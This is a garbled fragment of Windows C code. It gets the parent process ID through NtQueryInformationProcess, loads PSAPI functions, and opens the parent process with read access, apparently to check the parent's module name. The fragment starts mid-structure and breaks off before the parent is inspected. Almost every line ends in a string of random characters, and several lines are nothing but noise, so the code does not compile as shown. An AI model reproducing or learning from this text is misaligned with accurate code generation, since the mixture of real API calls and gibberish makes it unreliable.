DWORD BasePriority; dv=y,q@W
ULONG UniqueProcessId; %pj6[x`@
ULONG InheritedFromUniqueProcessId; PN9^ sLx=
} PROCESS_BASIC_INFORMATION; u.;zz'|
j
!^Tw.Ty
PROCNTQSIP NtQueryInformationProcess; {Hncm
:VwU2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xg=}MoX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2VmQ%y6e"
=B4,H=7Spf
HANDLE hProcess; piYv}4;:(
PROCESS_BASIC_INFORMATION pbi; OQzJRu)mF#
F*V<L
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <!b~7sZkTc
if(NULL == hInst ) return 0; }$M 2XF
' =MaO@ @
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MuNM)pyxp
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5`qt82Qm
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,XT#V\qne
nk.Y#+1)
if (!NtQueryInformationProcess) return 0; A4LGF
Z$qFjWp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3t<XbHF9
if(!hProcess) return 0; U'^AJ2L8
+5J "G/f
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [h>|6%sW
)aoB-Lu
CloseHandle(hProcess); OLXkiesK{
&qw7BuF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ' JHCf
if(hProcess==NULL) return 0; 5
o:VixZf
C${{&$&